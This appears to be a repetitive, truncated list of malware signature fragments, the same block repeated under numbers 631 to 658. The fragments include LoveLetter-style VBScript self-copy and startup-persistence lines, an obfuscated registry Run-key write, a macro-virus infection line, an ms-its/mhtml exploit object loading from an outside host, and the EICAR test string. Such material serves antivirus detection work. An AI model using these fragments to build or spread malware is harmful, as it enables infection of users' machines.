 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

631

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

632

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

633

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

634

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

635

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

636

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

637

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

638

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

639

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

640

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

641

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

642

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

643

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

644

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

645

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

646

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

647

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

648

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

649

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

650

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

651

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

652

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

653

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

654

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

655

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

656

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

657

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

658

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
